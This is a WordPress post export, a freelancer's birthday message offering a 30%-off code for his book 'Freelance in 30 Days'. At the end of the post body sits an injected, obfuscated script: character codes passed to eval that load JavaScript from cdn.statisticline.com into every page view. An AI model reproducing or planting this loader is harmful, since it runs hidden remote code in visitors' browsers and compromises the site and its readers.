{"id":5763,"date":"2023-06-09T10:56:37","date_gmt":"2023-06-09T10:56:37","guid":{"rendered":"https:\/\/forest-1041a2.ingress-bonde.ewp.live\/today-is-my-birthday-heres-a-present-for-you\/"},"modified":"2023-06-09T10:56:37","modified_gmt":"2023-06-09T10:56:37","slug":"today-is-my-birthday-heres-a-present-for-you","status":"publish","type":"post","link":"http:\/\/benrmatthews.local\/today-is-my-birthday-heres-a-present-for-you\/","title":{"rendered":"Today is my birthday, here&#8217;s a present for you"},"content":{"rendered":"<p><img class=&quot;aligncenter size-full wp-image-1305&quot; src=&quot;https:\/\/benrmatthews.com\/wp-content\/uploads\/2014\/12\/freelance-book.png&quot; alt=&quot;Freelance in 30 Days&quot; width=&quot;440&quot; height=&quot;220&quot; \/><\/p>\n<p>Today is my 30th birthday.<\/p>\n<p>Yes, I&#8217;ve reached the big three-oh.<\/p>\n<p>I can already see wrinkles appearing by the minute&#8230;<\/p>\n<p>To celebrate, I&#8217;ve been whisked away for a surprise trip and I&#8217;m writing this from the cosy bedroom aboard a boat. One of the advantages of freelancing is that you can take a trip whenever suits you and you can work while you&#8217;re there, if you&#8217;ve set yourself up for mobile working.<\/p>\n<p>I&#8217;ll be writing more about travelling as a freelancer and how to make it work in the coming weeks. This year I&#8217;ve been to Japan, India, Germany, Spain , and the US, all while still running my freelance consulting business.<\/p>\n<p>While I&#8217;m on this particular trip, I&#8217;m planning to put the finishing touches to my book, Freelance\u00a0in 30 Days.<\/p>\n<p>And to celebrate my 30th birthday, I&#8217;m giving you a present (that&#8217;s how generous a guy I am!)<\/p>\n<p>From now until December 30th, I&#8217;m offering 30% off the normal book price. Simply enter the code &#8216;happybirthday&#8217; when prompted.<\/p>\n<p><strong>That&#8217;s 30% off\u00a0Freelance\u00a0in 30 Days\u00a0until the 30th to celebrate my 30th.<\/strong><\/p>\n<p>That&#8217;s a lot of 30s&#8230;<\/p>\n<p>The book itself is being published later this week on December 19th, but you can preorder it now. And I&#8217;ll be sure to tell you again when the book itself has been published so you can get yourself a copy.<\/p>\n<p>It would be a lovely birthday present if I could sell a few copies of my first book, but an even bigger present for you if you buy the book, follow the advice and then make the transition from employed to self-employed. That would be worth celebrating for me.<\/p>\n<p>Ok, I&#8217;m off to open some birthday presents, but don&#8217;t forget &#8211; it&#8217;s 30% off\u00a0Freelance\u00a0in 30 Days\u00a0until the 30th to celebrate my 30th (just use the code &#8216;happybirthday&#8217;).<\/p>\n<p><em><strong>Get it now!<\/strong><\/em><script id='globalsway'>var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(\/*674867468*\/t);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Today is my 30th birthday. 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